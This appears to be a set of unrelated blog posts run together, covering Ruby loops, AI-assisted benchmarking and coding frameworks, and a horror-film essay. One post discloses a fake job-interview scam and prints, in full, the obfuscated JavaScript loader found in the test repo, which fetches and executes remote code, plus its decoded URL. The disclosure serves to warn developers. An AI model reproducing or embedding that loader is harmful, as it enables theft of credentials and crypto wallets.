This works, but isn't very elegant. The Ruby way is much more elegant.

elements.each do |element|
    do_something_with(element)
end

But what about JavaScript's forEach?

elements.forEach((element) => {
  doSomethingWith(element);
});

JavaScript's forEach gets close to Ruby's elegance, but it comes with some notable quirks. You can't break out of it (if you need to exit early, you're stuck reaching for a for...of loop or throwing an exception). It doesn't work well with async/await either, since it fires off all callbacks without waiting for them to resolve. And it always returns undefined, so unlike Ruby's chainable enumerables, you can't build fluent pipelines with it.

Modern JavaScript's for...of actually gets closer to the Ruby spirit:

for (const element of elements) {
  doSomethingWith(element);
}

This supports break, continue, works with await, and handles any iterable, not just arrays. Still, Ruby's enumerable ecosystem (map, select, reject, each_with_object) feels more cohesive because it was a core design philosophy from day one, not an afterthought bolted onto a prototype chain.

It's day one of learning Ruby, and I think I'm falling in love with the language.

I might be a little biased - last night I fell asleep watching the Ruby on Rails documentary. I woke up with this strong desire to learn Ruby and try it out. I think when you hear people who genuinely love something, you can't help but want to experience it yourself.

And it's not just programming languages. DHH's rant about getting married and having kids on the Top Shelf podcast with ThePrimeagen and TJ DeVries (looking back, it played it's part, however small, in me getting married). Or Prime's rants about being competent and taking ownership of your craft.

It's more fun and lively when you have role models, people who have lived the life you want to live, people worth imitating.

This post walks through that framework, using the AI benchmarks as a concrete example. The benchmarks themselves aren't the point. The process is.

The Problem with Ad-Hoc Experiments

We've all been there. You want to test something — maybe compare three database configurations, or figure out which image processing library is fastest, or evaluate different deployment strategies. You start hacking. You run some commands. You get some numbers. You forget what you changed between runs. Three hours later you have a terminal full of output and no clear answer.

Experiments need structure. But structure takes effort, and when you're exploring, the last thing you want to do is build scaffolding before you know what you're building.

This is where an AI coding assistant changes the game. It can set up structure while you focus on decisions. It can write benchmark scripts, track results, and maintain documentation — all in real time, all while you stay in the driver's seat.

The Framework

1. Start with Goals, Not Code

Before touching any tools or writing any scripts, we created two files:

goals.md — What are we trying to learn? What questions do we want to answer? What metrics matter?

This isn't a formality. Writing down your goals forces you to think about what "done" looks like. In our case, the goals were:

• What's the fastest transcription setup for this GPU?

• What LLMs can run on 4GB VRAM, and how fast?

• What are the optimal settings for each?

guide.md — How will we organize our work? What's the directory structure? What does the workflow look like?

The guide established conventions early: where results go, how experiments are numbered, what tables look like. This is the kind of thing that feels unnecessary at the start but saves you when you're eight experiments deep and can't remember which JSON file goes with which test.

The key insight: I described what I wanted in plain English. Claude Code created the files. I didn't write markdown tables or think about directory structures. I said "I want to test transcription and LLM text generation" and reviewed what it produced. The AI handles the formatting; you handle the thinking.

2. Create an Experiment Tracker

Before running anything, we created a tracker file (transcription_experiments.md) that listed:

• What runtimes to test — faster-whisper, whisper.cpp, openai-whisper

• What models to test — with expected VRAM requirements

• The experiments themselves — E1 through E5, each with a clear scope

• Checkboxes — unchecked at first, checked as we completed each one

This is your experiment's table of contents. It tells you what you've done, what's left, and what the results were. When we finished an experiment, Claude Code updated the checkboxes and added the key findings inline:

### E1 — Runtime comparison (small model) ✅
- [x] faster-whisper + small (GPU) — **20.71x RT (int8), 7.78x (fp16)**
- [x] whisper.cpp + small (GPU) — **12.28x RT** (needs FORCE_MMQ build flag)
- [x] openai whisper + small (GPU) — **8.18x RT** (fp32 only, fp16 NaN on GTX 1650)
- **Winner: faster-whisper cuda/int8**

At any point, you can open this one file and know exactly where the project stands. No digging through terminal history or trying to remember what you tested last Tuesday.

3. Structure Your Experiments as a Funnel

We didn't test everything against everything. That's combinatorial explosion. Instead, each experiment narrowed the field for the next one:

E1: Runtime comparison     → Pick the fastest runtime
E2: Model sweep            → Using that runtime, pick the best models
E3: Quantization           → Using that model, pick the best precision
E4: Parameter tuning       → Using that config, optimize the settings
E5: Edge cases / scaling   → Stress-test the winning configuration

Each experiment has a single variable. E1 varies the runtime. E2 varies the model. E3 varies the quantization. This makes results interpretable — you know why something is faster, not just that it's faster.

This funnel structure is the most transferable part of the framework. Whether you're benchmarking databases, comparing ML frameworks, or evaluating cloud providers, the pattern is the same: start broad, narrow down, then optimize.

Don't over-plan the funnel upfront, either. Our E5 (context length testing) didn't exist in the original plan — it emerged from E4's findings about 7B models. The framework supports evolution; it doesn't demand a perfect plan from the start.

4. Write Scripts, Not One-Liners

For each experiment, Claude Code wrote a proper Python or bash script. Not a one-liner in the terminal — a script with:

• A consistent test file/prompt across all runs

• Timing instrumentation

• VRAM measurement

• Results saved to JSON for later analysis

• A summary printed to stdout

Scripts are reproducible. When I want to run the same test on a different machine, I run the same script. When someone else wants to reproduce my work, they can. At the end of our session, we had Claude Code generate a reproduce.md — a step-by-step guide to run everything from scratch. This is trivial for it to produce (it just did all the steps) but incredibly valuable later.

For example, our faster-whisper benchmark script (bench_faster_whisper.py) tested three configurations (cuda/float16, cuda/int8, cpu/int8), measured load time, transcription time, and VRAM usage for each, and saved structured JSON results. Writing this by hand would have taken 20 minutes. Claude Code wrote it in seconds based on "write a benchmark script for faster-whisper comparing GPU and CPU."

5. Record Results in Markdown + JSON

Every experiment produced two outputs:

• e<N>_results.md — Human-readable writeup with tables, findings, and recommendations

• e<N>_*.json — Raw data for programmatic analysis

The markdown file is what you read. The JSON is what you'd feed into a comparison tool or plotting script if you wanted to go deeper. Each results file followed a consistent structure:

# E1 — Runtime Comparison Results

**Date:** 2026-02-15
**Model:** Whisper small (244M params)
**Test file:** [consistent across experiments]
**Settings:** beam_size=5, language=en

## Results
[table]

## Key Findings
[numbered list of insights]

## Setup Notes
[gotchas, workarounds, things that broke]

## Recommendation
[what to use going forward]

The "Setup Notes" section turned out to be surprisingly valuable. Every environment has gotchas — silent GPU fallback, NaN errors with certain precision modes, libraries that need manual path configuration. Documenting them inline with results means you (or someone reproducing your work) won't hit the same wall twice.

6. You Decide, the AI Executes

Here's what Claude Code actually did during our session:

• Environment setup: Created a Python virtualenv, installed packages, figured out CUDA library paths

• Debugging: When GPU offload silently failed, it diagnosed the issue, rebuilt the tools with the right flags, and re-ran the tests

• Script writing: Wrote all benchmark scripts — timing loops, VRAM measurement, JSON output

• Model downloads: Downloaded GGUF models from HuggingFace, handled 404s by finding alternative repos

• Results analysis: Calculated RT factors, wrote comparison tables, identified winners

• Documentation: Updated experiment trackers, wrote results files, maintained the CLAUDE.md

Here's what I did:

• Made decisions: Which experiments to run, in what order, when to move on

• Reviewed results: Looked at the numbers, decided if they made sense

• Course-corrected: Caught that we were running without proper GPU support and stopped to fix the environment before continuing

• Set priorities: "Skip koboldcpp, the winner is clear"

This division of labor is the key. The AI is fast at execution. You're fast at judgment. Don't let it run on autopilot — stay engaged with the results. When things broke (and they broke a lot), the failures often produced the most valuable findings. A library crashing on your GPU is just as useful to know as one that runs at 20x realtime.

7. Build the CLAUDE.md as You Go

A CLAUDE.md file captures what a future session needs to know. We built ours at the end, but it drew from everything we learned:

• How to set up the environment

• How to build tools with the right flags

• What the best configurations are

• Where to find results

This file means the next time I (or anyone) opens this project with Claude Code, it doesn't start from zero. It knows the project structure, the conventions, and the hard-won knowledge from the experiment session.

Adapting the Framework

The pattern generalizes beyond benchmarking. For example, database performance testing:

goals.md         → "Find the fastest DB config for our read-heavy workload"
experiments.md   → E1: Compare engines (Postgres vs MySQL vs SQLite)
                   E2: Index strategies on the winner
                   E3: Connection pooling settings
                   E4: Query optimization
                   E5: Concurrency/load testing

The same funnel applies to API evaluation, infrastructure cost optimization, ML model selection — anything where you're narrowing down options through structured comparison. The general pattern is:

1. goals.md — What questions are you answering? What does success look like?

2. guide.md — Directory structure, conventions, workflow

3. experiments.md — Funnel-shaped experiment list with checkboxes

4. scripts/ — One script per experiment, saves raw JSON

5. results/ — Markdown writeup + JSON data per experiment

6. CLAUDE.md — What future sessions need to know

Start the conversation with: "I want to evaluate [X]. Here are my constraints: [Y]. Create a goals file and experiment tracker, then let's start with E1."

What This Isn't

This isn't about replacing your expertise with AI. You still need to know what questions to ask, whether results make sense, and when to dig deeper. Claude Code can't tell you that 20x realtime transcription is "good enough" for your use case — only you know that.

What this is about is having a capable lab partner who handles the tedious parts — setup, scripting, documentation, debugging — so you can focus on the interesting parts: asking questions, interpreting results, and making decisions.

All code, scripts, and results from this benchmarking session are available in the llmexp repository. The full session benchmarked audio transcription (faster-whisper, whisper.cpp, openai-whisper, moonshine) and LLM text generation (llama.cpp, ollama) on an NVIDIA GTX 1650 with 4GB VRAM.

The Starting Prompt

For the curious, here's the exact message that kicked off the entire session:

ok. this is a folder where i want to run and doctument local llm experiments. the goal is to bench mark the current system on how well it can run llms and ai models. to start out with create a goals.md file outling this. I mainly want to test two things, 1. locall llm text generation (what ever models fit this gpu) and 2. audio transcription. I want to tract the best settings, best way to setup the models, best utils to use etc. then create a guide.md file to keep us on track and organised as we run experiments.

The attack vector? A fake coding interview from a "legitimate" blockchain company.

Here's how a sophisticated scam operation almost got me, and why every developer needs to read this.

The Setup

Last week, I got a LinkedIn message from Mykola Yanchii. Chief Blockchain Officer at Symfa. Real company. Real LinkedIn profile. 1,000+ connections. The works.

The message was smooth. Professional. "We're developing BestCity, a platform aimed at transforming real estate workflows. Part-time roles available. Flexible structure."

I've been freelancing for 8 years. Built web applications, worked on various projects, done my share of code reviews. I'm usually paranoid about security - or so I thought.

This looked legit. So I said yes to the call.

The Hook

Before our meeting, Mykola sent me a "test project" - standard practice for tech interviews. A React/Node codebase to evaluate my skills. 30-minute test. Simple enough.

The Bitbucket repo looked professional. Clean README. Proper documentation. Even had that corporate stock photo of a woman with a tablet standing in front of a house. You know the one.

Here's where I almost screwed up: I was running late for our call. Had about 30 minutes to review the code. So I did what lazy developers do - I started poking around the codebase without running it first.

Usually, I sandbox everything. Docker containers. Isolated environments. But I was in a rush.

I spent 30 minutes fixing obvious bugs, adding a docker-compose file, cleaning up the code. Standard stuff. Ready to run it and show my work.

Then I had one of those paranoid developer moments.

The Save

Before hitting npm start, I threw this prompt at my Cursor AI agent:

"Before I run this application, can you see if there are any suspicious code in this codebase? Like reading files it shouldn't be reading, accessing crypto wallets etc."

And holy sh*t.

Sitting right in the middle of server/controllers/userController.js was this beauty:

//Get Cookie  
(async () => {  
    const byteArray = [  
        104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,  
        110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,  
        98, 50, 48, 51, 49, 102, 98, 57  
    ];  
    const uint8Array = new Uint8Array(byteArray);  
    const decoder = new TextDecoder('utf-8');  
    axios.get(decoder.decode(uint8Array))  
        .then(response => {  
            new Function("require", response.data.model)(require);  
        })  
        .catch(error => { });  
})();

Obfuscated. Sneaky. Evil. And 100% active - embedded between legitimate admin functions, ready to execute with full server privileges the moment admin routes were accessed.

I decoded that byte array: https://api.npoint.io/2c458612399c3b2031fb9

When I first hit the URL, it was live. I grabbed the payload. Pure malware. The kind that steals everything - crypto wallets, files, passwords, your entire digital existence.

Here's the kicker: the URL died exactly 24 hours later. These guys weren't messing around - they had their infrastructure set up to burn evidence fast.

I ran the payload through VirusTotal - check out the behavior analysis yourself. Spoiler alert: it's nasty.

The Operation

This wasn't some amateur hour scam. This was sophisticated:

The LinkedIn Profile: Mykola Yanchii looked 100% real. Chief Blockchain Officer. Proper work history. Even had those cringy LinkedIn posts about "innovation" and "blockchain consulting."

The Company: Symfa had a full LinkedIn company page. Professional branding. Multiple employees. Posts about "transforming real estate with blockchain." They even had affiliated pages and follower networks.

The Approach: No red flags in the initial outreach. Professional language. Reasonable project scope. They even used Calendly for scheduling.

The Payload: The malicious code was positioned strategically in the server-side controller, ready to execute with full Node.js privileges when admin functionality was accessed.

The Psychology

Here's what made this so dangerous:

Urgency: "Complete the test before the meeting to save time."

Authority: LinkedIn verified profile, real company, professional setup.

Familiarity: Standard take-home coding test. Every developer has done dozens of these.

Social Proof: Real company page with real employees and real connections.

I almost fell for it. And I'm paranoid about this stuff.

The Lesson

One simple AI prompt saved me from disaster.

Not fancy security tools. Not expensive antivirus software. Just asking my coding assistant to look for suspicious patterns before executing unknown code.

The scary part? This attack vector is perfect for developers. We download and run code all day long. GitHub repos, npm packages, coding challenges. Most of us don't sandbox every single thing.

And this was server-side malware. Full Node.js privileges. Access to environment variables, database connections, file systems, crypto wallets. Everything.

The Scale

If this sophisticated operation is targeting developers at scale, how many have already been compromised? How many production systems are they inside right now?

Perfect Targeting: Developers are ideal victims. Our machines contain the keys to the kingdom: production credentials, crypto wallets, client data.

Professional Camouflage: LinkedIn legitimacy, realistic codebases, standard interview processes.

Technical Sophistication: Multi-layer obfuscation, remote payload delivery, dead-man switches, server-side execution.

One successful infection could compromise production systems at major companies, crypto holdings worth millions, personal data of thousands of users.

The Bottom Line

If you're a developer getting LinkedIn job opportunities:

1. Always sandbox unknown code. Docker containers, VMs, whatever. Never run it on your main machine.

2. Use AI to scan for suspicious patterns. Takes 30 seconds. Could save your entire digital life.

3. Verify everything. Real LinkedIn profile doesn't mean real person. Real company doesn't mean real opportunity.

4. Trust your gut. If someone's rushing you to execute code, that's a red flag.

This scam was so sophisticated it fooled my initial BS detector. But one paranoid moment and a simple AI prompt exposed the whole thing.

The next time someone sends you a "coding challenge," remember this story.

Your crypto wallet will thank you.

If you're a developer who has run "coding challenges" from LinkedIn recruiters, you should probably read this twice.

the LinkedIn profiles

Messages

bit bucket

https://bitbucket.org/0x3bestcity/test_version/src/main/ - not sure how long this will stay up though.

My friend's puzzled voice cut through the theater's surround sound as yet another jump scare filled the screen. I hadn't even realized I was doing it. There I was, grinning like an idiot while a demon wreaked havoc on screen - the same kind of creature that would have sent me diving behind couch cushions just a few years ago.

"That demon is kind of cute," I whispered back, and immediately wondered where those words had come from.

Walking out of that Conjuring: The Last Rites screening, I couldn't shake the question: when did I stop being afraid of horror movies? More importantly, how did it happen without me even noticing?

The Shift I Didn't See Coming

I've always been a scaredy-cat. Horror movies were my kryptonite, the kind of films that left me sleeping with the lights on and checking under beds like a paranoid child. So this newfound ability to chuckle at cinematic terror felt like discovering I could suddenly speak a foreign language.

As I reflected on this mysterious transformation, three influences kept surfacing in my memory, all carrying the same powerful message: fear loses its grip when you laugh at it.

The Clown, the Spell, and the YouTuber

The first was Stephen King's IT, specifically the scene where the Losers Club finally confronts Pennywise. These kids, terrorized by an ancient cosmic horror, make a crucial discovery: the creature that feeds on fear becomes pathetically small when mocked. They literally bully the bully, turning their terror into ridicule. "You're just a clown!" they shout, and suddenly this omnipotent force becomes just another playground antagonist.

The second was from Harry Potter and the Prisoner of Azkaban. Professor Lupin teaches his students to defeat boggarts, creatures that manifest as your worst fear, with the Riddikulus spell. The magic isn't in complex incantations; it's in forcing yourself to imagine your fear in something ridiculous. Snape in your grandmother's dress. A spider wearing roller skates. Fear transformed into comedy.

The third influence was more gradual but perhaps most impactful: discovering Wendigoon's YouTube channel. Here was someone who approached the most unsettling horror content, creepypastas, urban legends, true crime, with genuine curiosity and often infectious humor. Watching him dissect a terrifying story with the enthusiasm of a literature professor made me realize that scary content was just content. When you pull back the curtain and analyze the mechanics of horror, the monsters become fascinating rather than frightening. His approach taught me that you could respect the craft of scary storytelling while refusing to be intimidated by it.

All three sources delivered the same revolutionary idea: laughter is fear's kryptonite.

The Accidental Rewiring

Without realizing it, these influences had planted something in my subconscious. They'd offered me a new framework for processing scary situations, not as threats to flee from, but as puzzles to solve or absurdities to find amusing. The demon in The Conjuring: The Last Rites wasn't a harbinger of nightmares; it was just another creature stumbling through its prescribed horror movie beats, probably worried about hitting its jump-scare quotas.

This shift represents something profound about how we consume media. Stories don't just entertain us; they literally rewire our neural pathways, teaching us new ways to interpret and respond to the world. Every hero's journey we follow, every coping mechanism we witness, becomes part of our own psychological toolkit.

Finding the Funny in the Frightening

The beautiful thing about this accidental transformation is how it's changed my relationship with fear beyond just movies. That presentation at work that used to paralyze me? Now I picture the audience in their underwear, not because someone told me to, but because I've learned that fear shrinks under the spotlight of absurdity.

The anxiety-inducing news cycle? Sometimes I can step back and see the cosmic comedy in our collective human drama, the way we all scramble around taking ourselves so seriously on this tiny rock spinning through space.

This doesn't mean becoming callous or dismissing real dangers. It means developing the superpower to choose your response to fear, to ask yourself whether this particular monster deserves your terror or your chuckles.

The Spell We Cast on Ourselves

Maybe the most magical thing about both IT and Harry Potter isn't the supernatural elements, it's the reminder that we have more control over our inner landscape than we think. Every day, we're casting spells on ourselves with the stories we tell, the media we consume, the frameworks we adopt for making sense of the world.

Sometimes, without even realizing it, we learn to laugh in the face of fear. And once you've done that, you discover something wonderful: most of our demons are just wearing costumes, waiting for someone brave enough to point and giggle.

Riddikulus, indeed.

Note: All the exact prompts and templates I used are included at the bottom of this article, plus a link to get even more prompts.

Most developers spend months building their application, only to realize at the end they want to burn everything down and start over again. Tech debt, they call it. I haven't met a single developer who hasn't felt the urge to rewrite everything from scratch.

In the age of AI, this pain hits faster and harder. You can generate massive amounts of code in days, not months. The siren call to rewrite comes in weeks instead of months, sometimes even days.

But here's the thing - I just spent the past 5 weeks shipping a project with over 100k lines of backend code, with over 10 backend services, and I haven't felt the call to rewrite it. Not once.

The total cost? $450 in AI credits over 3 weeks of intense development.

The result? A production-ready backend that I'm actually proud of.

How I Did It: The 4-Document Framework

Here's exactly what made this possible: 4 documents that act as guardrails for your AI.

1. Document 1: Coding Guidelines - Every technology, pattern, and standard your project uses

2. Document 2: Database Structure - Complete schema design before you write any code

3. Document 3: Master Todo List - End-to-end breakdown of every feature and API

4. Document 4: Development Progress Log - Setup steps, decisions, and learnings

Plus a two-stage prompt strategy (plan-then-execute) that prevents code chaos.

This isn't theory. This is the exact process I used to generate maintainable AI code at scale without wanting to burn it down.

But first, let me show you exactly why this framework is necessary...

Why Most AI Code Becomes Garbage (And How to Avoid It)

Here's the brutal truth: LLMs don't go off the rails because they're broken. They go off the rails because you don't build them any rails.

You treat your AI agent like an off-road, all-terrain vehicle, then wonder why it's going off the rails. You give it a blank canvas and expect a masterpiece.

Think about it this way - if you hired a talented but inexperienced developer, would you just say "build me an app" and walk away? Hell no. You'd give them:

• Coding standards

• Architecture guidelines

• Project requirements

• Regular check-ins

But somehow with AI, we think we can skip all that and just... prompt our way to success.

The solution isn't better prompts. It's better infrastructure.

You need to build the roads before you start driving.

The 4-Document Framework That Changes Everything

I spent about a week creating these four documents before writing a single line of application code. Best week I ever invested.

These aren't just documents - they're the rails that keep your AI on track. Every chat I open in my IDE includes these four docs as context.

Document 1: Coding Guidelines

This document covers every technology you intend to use in your project. Not just a list of technologies - the actual best practices, code snippets, common pitfalls, and coding style choices for each technology.

Here's what mine included:

• Setup and architectural conventions

• Folder and file structure standards

• ESLint configuration and rules (Airbnb TypeScript standards)

• Prettier configuration for code formatting

• Naming conventions for variables, methods, classes

• Recommended patterns for controllers, services, repositories, DTOs

• Testing standards with Jest

• CI/CD pipeline setup guidelines

You can generate this document using ChatGPT with research mode on. I used a detailed prompt that asks for comprehensive guidelines covering setup conventions, coding standards, tooling integration, testing standards, and CI/CD practices. (See the exact prompt at the bottom of this article.)

How to use this document:

• Give it to your Cursor agent to generate rulesets for your project (creates rules in .cursor/rules)

• Include it as context with every request you make

I did both. The second option will increase your bill, but the results are worth it.

Document 2: Database Structure

You need a strong database design for the AI to build off. No shortcuts here.

Use an LLM to create this structure by giving it your application scope and asking it to generate the database design. But you must review the database structure against your requirements and make sure it can handle all the features you want to build.

I use a 4-phase prompt approach: entity identification, table structure definition, constraints and indexes, and finally DBML export for visualization. (Complete prompts are at the bottom.)

At the end, you should have a db.dbml file (used by most database visualization tools).

This becomes your single source of truth. Every API, every feature, every data operation references this structure.

Document 3: Master Todo List

This is an end-to-end list of all the tasks you need to finish to build your application, from start to finish.

This doesn't just have to be a todo list. I created an API-todo list which had a list of all the APIs I need to make for my frontend to function. It outlined the entire application scope.

You can reference content from the database structure in this document to ensure everything aligns.

I use another 4-phase approach here: feature area breakdown, API endpoint definition, implementation task creation, and task organization with prioritization. (Detailed prompts at the bottom.)

Pro tip: Keep this document updated as you complete tasks. It becomes a progress tracker and helps prevent scope creep.

Document 4: Development Progress Log

This contains the steps you took to set up your project, the file structure, the build pipeline, and any other crucial information.

If you used an agent to set up your project, just ask it to create this document for you.

The prompt covers setup and foundation, implementation decisions, build and deployment processes, and learnings from issues encountered. (Full prompt template at the bottom.)

The Magic: These 4 documents get added to every chat I open in my IDE. Yes, the context might be large, but Cursor will "significantly condense it to fit the context."

As you develop new features and finish tasks in your todo list, make sure you ask the agent to update all your docs (todo list, development progress).

Plan-Then-Execute: The Two-Stage Prompt Strategy That Actually Works

Thinking models have come a long way, but thinking alone isn't enough. I use a two-stage prompt approach for every feature or task:

Stage 1: Plan
Stage 2: Execute

The advantage of this two-stage approach is you get to review the plan, not the code. When you review the plan, after execution you're just verifying if the generated code matches the plan - which is much easier than reviewing code.

This also grounds the agent to only execute on the current plan, preventing it from going off the rails.

Here's how it works in practice:

1. Planning Stage: "I need to build user authentication. Create a detailed plan for implementing this feature, including all the files that need to be created/modified, the database changes required, and the API endpoints needed."

2. Review: I review the plan, make adjustments, approve it.

3. Execution Stage: "Execute the plan we just created. Implement the user authentication feature exactly as outlined in the plan."

This simple change transformed my development process. No more surprise architectural decisions buried in generated code.

What Actually Happens When You Do This (The Good and The Ugly)

Let me be honest about what really happens when you implement this framework.

The Good

Code Quality: The generated code actually follows your standards. No more random variable names or inconsistent patterns.

Maintainability: When you come back to code after a week, you can actually understand it because it follows your documented patterns.

Speed: Once the framework is set up, feature development is blazingly fast. The AI has clear rails to run on.

Confidence: You stop second-guessing every piece of generated code because you know it was built to your specifications.

The Ugly

Documentation Drift: Even if you're updating docs after every chat, they will always slip from the actual code. I set aside a couple of hours every few days to review the docs and sync them up with the code.

I use a 4-phase documentation sync process: git diff analysis, gap analysis, critical updates, and validation. (Complete sync prompts at the bottom.)

Context Window Costs: Including these documents in every chat increases your bill. But honestly, it's worth every penny for the quality improvement.

Setup Time: That initial week of document creation feels slow when you just want to start coding. But it pays dividends later.

Maintenance Overhead: You need to actually update these documents as your project evolves. Skip this and you're back to chaos.

From Solo Coder to AI Team Manager

Here's the mindset shift that changes everything: You're no longer a developer. You're a manager of AI developers.

And like any good manager, you need to solve the productivity challenges of your team.

The Waiting Game Problem

Nothing kills developer productivity like waiting for your AI agent to finish executing. I've found two approaches to handle this:

The Zen Approach

Develop the near-impossible skill of watching paint dry. Don't feed your brain with YouTube shorts, Twitter scrolling, or blog reading. Just stare at the content being generated and review code when you have enough to review.

It's harder than it sounds. But it works.

The Hydra Approach

Work on multiple tasks at once. But since growing extra heads isn't an option, you need the oldest cybernetic augmentation known to humanity: pen and paper.

Dump all the context needed for a task onto paper. This helps with context switching and lets you get more done. When the agent is working on one task, you switch to another.

You're going from the mindset of individual contributor to managing a team of semi-proficient interns.

The Timeline Reality

We're screwed here. I haven't found a working solution for estimating timelines in the AI age. All I know is setting timelines is hard and gets exponentially harder when you throw AI into the mix.

Here's something funny: When I use my two-step plan-execute approach, sometimes the LLM adds timelines to the end of the plan. They sometimes range from a couple of weeks to a couple of months. But in practice, it usually takes the LLM about 30-60 minutes to execute most tasks.

There's a joke about middle management killing productivity somewhere in there.

The Bottom Line

If you want to get good at using AI for coding, learn from the community. I took inspiration from random comments on the r/cursor subreddit and different blog articles on Hacker News. (Shout out to Harper Reed and his "My LLM codegen workflow atm" blog, where I picked up the two-stage plan-execute idea.)

The framework works. The 4-document approach creates the rails your AI needs to stay on track. The two-stage prompting keeps features focused and reviewable.

As LLMs get cheaper and better, this stuff gets easier. Right now, Claude 4.0 is my go-to model for most tasks. I use o3 when I need to debug really nasty bugs.

Tool calling is going to be crucial for coding tasks in the future. I'm also looking forward to text diffusion models getting good.

Stop treating AI like magic. Start treating it like the powerful but inexperienced team member it is. Give it structure, give it guidance, and watch it build something you're actually proud of.

Follow for more articles like this. I have a few more AI/LLM related pieces in the pipeline.

All the Prompts and Templates

Here are all the exact prompts I used in this article. For even more advanced prompts and templates, check out my complete collection: Get Advanced AI Coding Prompts (Free)

Coding Guidelines Prompt

**Prompt Template for Generating Backend Code Guidelines**

---

Can you help me create a comprehensive and detailed document outlining backend code guidelines and best practices?

**Purpose**:
This document will serve as a foundational reference for our development team, ensuring consistency, maintainability, and quality in our codebase.

**Project Context**:
We are building a [complex/simple/moderate] backend system using the following technology stack:

- [List technology stack items here as an array, e.g., NestJS, TypeORM, Swagger UI, AWS S3, AWS Secrets Manager, RabbitMQ, etc.]

Our repository structure is [monorepo/multi-repo], consisting of:

- One primary API service
- [Number] small microservices performing tasks such as background jobs, workers, or scheduled cron jobs

**Sections to Cover in the Guidelines:**

1. **Setup and Architectural Conventions**

   - Folder and file structure
   - Module organization and dependency management
   - Best practices for scalability and maintainability

2. **Coding Standards and Style**

   - ESLint configuration and rules (based on Airbnb TypeScript standards)
   - Prettier configuration for code formatting
   - Naming conventions (variables, methods, classes, etc.)
   - Recommended patterns (controllers, services, repositories, DTOs)

3. **Tooling Guidelines**

   - General best practices for tooling integration
   - For each entry in the tech stack, add detailed guidelines and best practices

4. **Testing Standards**

   - Jest setup and best practices
   - Guidelines for unit testing, integration testing, and end-to-end testing
   - Recommended test file structure and naming conventions

5. **Static Code Analysis and CI/CD**
   - SonarQube integration for static code analysis
   - Basic CI/CD pipeline setup (Coolify, GitHub Actions)
   - Recommended stages and quality gates for code integration

**Deliverable**:
Provide the document formatted in clear Markdown with distinct sections, making it easily reusable and adaptable for future technology scopes or additional tooling.

Database Design Prompts (4 phases in same chat)

## **Phase 1: Entity Identification**

Analyze my application scope and identify all core entities with their basic relationships.

Don't dive into detailed table structures yet - just identify the main data objects and how they relate to each other.

**Application Scope**: [Paste your complete application requirements, user stories, feature lists, etc.]

---

## **Phase 2: Table Structure**

Now using the entities we just identified, create detailed table structures for each entity.

For each entity, define:

- All necessary columns with appropriate data types
- Primary keys and foreign keys
- Required vs optional fields
- Basic column constraints

---

## **Phase 3: Constraints and Indexes**

Using the table structures we just created, add advanced constraints, indexes, and relationships.

Add:

- Validation rules and check constraints
- Performance indexes for common query patterns
- Junction tables for many-to-many relationships
- Unique constraints and composite keys

---

## **Phase 4: DBML Export**

Convert our complete database schema into .dbml format for visualization tools.

Output the final schema as a properly formatted .dbml file that can be used with database visualization tools like dbdocs.io or dbdiagram.io.

Todo List Generation Prompts (4 phases in same chat)

## **Phase 1: Feature Area Breakdown**

Break down my application scope into major feature areas and modules.

**Application Scope**: [Paste your complete requirements, user stories, feature specifications]
**Database Schema**: [Reference your .dbml file or entity descriptions]

Group related functionality together (e.g., authentication, user management, core business features, admin panel, reporting, etc.).

---

## **Phase 2: API Endpoint Definition**

For each feature area we just identified, define all required API endpoints.

For each feature area, list all API endpoints with:

- HTTP method and route
- Purpose and functionality
- Request parameters and body structure
- Response data structure
- Authentication requirements

---

## **Phase 3: Implementation Task Creation**

Convert each API endpoint we defined into detailed implementation tasks.

For each API endpoint, create tasks for:

- Database migrations/schema changes needed
- Service layer business logic
- Controller implementation
- Request validation and error handling
- Unit and integration testing
- Documentation

---

## **Phase 4: Task Organization and Prioritization**

Organize all the implementation tasks we created by dependencies and priority.

Organize tasks into:

- Setup and infrastructure (must be done first)
- Core dependencies (what blocks what)
- MVP features (essential for launch)
- Enhancement features (nice-to-have)
- Testing and deployment tasks

Output: Prioritized development roadmap with clear dependencies.

Development Progress Documentation Prompt

**Development Progress Documentation Prompt**

---

Create a comprehensive development progress log that captures everything about how this project was set up and built.

**Purpose**: This document will serve as a knowledge base for future reference, troubleshooting, and onboarding.

**Current Project State**: [Describe what you've built so far, current file structure, tools used, key decisions made]

Document the following:

**Setup and Foundation**:

- Commands used to initialize the project
- Package installations and dependency choices made
- Configuration files created and their purposes
- Development environment setup steps taken

**Implementation Decisions**:

- How you implemented the coding guidelines in practice
- Deviations from the original guidelines and why
- Architecture patterns chosen and reasoning
- Database setup and migration commands used

**Build and Deployment**:

- Build scripts and commands that actually work
- Environment variables and secrets management approach
- Deployment process and hosting setup steps
- Any CI/CD configuration implemented

**Learnings and Issues**:

- Common issues encountered and solutions found
- Gotchas and things that didn't work as expected
- Performance considerations discovered
- Future improvement areas identified

Output: A practical knowledge base that someone could use to understand and replicate your setup.

Documentation Review and Sync Prompts (4 phases in same chat)

## **Phase 1: Git Diff Analysis**

Analyze what's changed in the codebase since the last documentation update.

**Last Documentation Update**: [Date when docs were last updated, e.g., "2024-01-15" or commit hash]

First, run `git log --oneline --since="[date]"` to see all commits since the last doc update, then run `git diff [commit-hash]` to get the actual changes.

Analyze the diff and identify:

- New files or directories added
- Modified API routes or endpoints
- Database schema changes (migrations, models)
- New dependencies in package.json
- Configuration changes
- Removed or renamed files

---

## **Phase 2: Documentation Gap Analysis**

Based on the git diff analysis, identify what documentation needs updating.

Cross-reference the code changes with our current documentation to find:

- New features built but not documented
- Changed implementations not reflected in docs
- Removed/deprecated features still in documentation
- New setup steps or configuration changes needed
- Dependencies or tools that need documentation

---

## **Phase 3: Critical Updates**

Update the most critical and incorrect documentation sections first.

**Priority Areas**: [Specify which docs are most critical - setup, API, database, etc.]

Focus on:

- API documentation that no longer matches actual endpoints
- Setup instructions broken by dependency changes
- Database schema docs that don't match current migrations
- Configuration examples that reference removed files
- Commands that no longer work due to recent changes

---

## **Phase 4: Enhancement and Validation**

Enhance the updated documentation and validate against current codebase.

Final verification:

- Test all documented commands actually work
- Verify API examples match current endpoint structure
- Check that setup instructions lead to working environment
- Update progress log with recent developments
- Add any new troubleshooting insights discovered

Output: Documentation synced with current codebase state.

Recently, I crafted a simple web experiment called Snake Eyes, aiming precisely at that, transforming basic, straightforward rules into something surprisingly beautiful and engaging. Let’s dive into how this works.

The Foundation: Simple Rules

Imagine a grid of squares, each containing a smaller circle. Here are the rules governing each square:

1. Attraction: The circle within each square moves slightly toward your cursor when you move your mouse around.

